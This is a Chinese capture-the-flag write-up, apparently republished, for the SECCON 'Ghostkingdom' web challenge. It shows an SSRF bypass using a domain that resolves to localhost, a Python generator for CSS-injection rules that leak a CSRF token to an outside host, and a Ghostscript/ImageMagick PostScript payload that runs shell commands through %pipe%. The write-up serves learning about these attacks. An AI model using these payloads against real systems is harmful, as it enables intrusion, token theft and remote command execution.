seccon Ghostkingdom

栏目: CSS · 发布时间: 6年前

内容简介:题目链接#流程分析打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。

题目链接 http://ghostkingdom.pwn.seccon.jp/FLAG/

#流程分析

打开题目,先是一个简单的注册登陆流程,但是提交参数都是用的get提交的。

seccon Ghostkingdom

登陆之后有3个基本的功能。

Message to admin
Take a screenshot
Upload image   * Only for users logged in from the local network

先看一下每个功能的作用。

Message to admin

可以给admin发送消息,有两种模式,但是本质上是一样的只是多了css的渲染。我们直接看看Emergency方式。

url:http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=%3C%3E&action=msgadm2

其中base64解码之后,被输出到了\ 标签中。

<style>span{background-color:red;color:yellow}</style>

这里想通过引入<>括号,来进行xss,但是可惜的是直接被转义了,那这样的化我们只能通过 span{background-image:url(url)} 来发送一个get请求,但是这里在做题的时候把这个payload发送给admin的化在vps上面是收不到请求的,看了writeup才知道Send to admin 功能是无效的 。

Take a screenshot

访问一个的url,并截屏,而且是解析js的。很明显这里是存在ssrf的。尝试访问一下 http://127.0.0.1/,可以看到还是做了过滤的。

seccon Ghostkingdom

那我们把一个域名解析到127.0.0.1试试,我这里用的是t.mt1024.cn。成功的绕过了防护。那我们用之前的get登陆的方式尝试登陆一下。可以看到是有upload功能的。那现在的问题也就是我们要怎么伪造成localhost’登陆。

http://ghostkingdom.pwn.seccon.jp/?url=http%3a%2f%2ft.mt1024.cn%2f%2f%3fuser%3dmt1234567890%26pass%3dmt1234567890a%26action%3dlogin&wd=ip&action=sshot2

seccon Ghostkingdom

css injection

但是我们可以发现,我们得cookie和发送admin信息的csrf token是相同的。那这样的化我们可以用 css injection 来获取csrf token的值从而伪造我们是locahost登陆的。(其实这里我自己也有点搞不懂了,比赛的时候

这里直接借用一下大佬的payload:

import base64
def getBase64(s):
    z = []
    for i  in  '0123456789abcdef':
        st = s + i
        z.append('input[value^="{}"] {{background: url(http://sevice/?csrf={})}}'.format(st, st))
    return base64.b64encode('\n'.join(z))

def formatURL(s):
    return "http://0.0.0.0/?css={}&action=msgadm2".format(s)

print formatURL(getBase64(''))

然后我们在用之前的get登陆,然后用css去注入我们的cookie。(但是这里我自己也有点搞不懂,做题的时候也登陆了账号去在localhost注册cookie,但是访问upload的时候还是提示没有登陆,就以为是30s的限制别人把自己的cookie挤掉了,但是访问send message的时候就可以了。而且把自己本地的cookie清除掉了之后,localhost的cookie也掉了,或许只是争对payload将两边的cookie做了一个关系把。)

最后得到cookie:8dc4811759c90887a1f2d6

ghostscript命令执行

得到cookie之后我们就可以看到上传的页面了,我们直接上传一张不正常的图片。然后将其Convert to GIF format。

seccon Ghostkingdom

可以根据报错信息,搜到使用的ImageMagick进行的图片转换。然后用网上的[payload][ https://bbs.ichunqiu.com/thread-44747-1-1.html]一把唆就完事了。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

NoSQL精粹

NoSQL精粹

[美]Pramod J. Sadalage、[美]Martin Fowler / 爱飞翔 / 机械工业出版社 / 2013-8 / 49.00元

《NoSQL精粹》为考虑是否可以使用和如何使用NoSQL数据库的企业提供了可靠的决策依据。它由世界级软件开发大师和软件开发“教父”Martin Fowler与Jolt生产效率大奖图书作者Pramod J. Sadalage共同撰写。书中全方位比较了关系型数据库与NoSQL数据库的异同;分别以Riak、MongoDB、Cassandra和Neo4J为代表,详细讲解了键值数据库、文档数据库、列族数据库......一起来看看 《NoSQL精粹》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码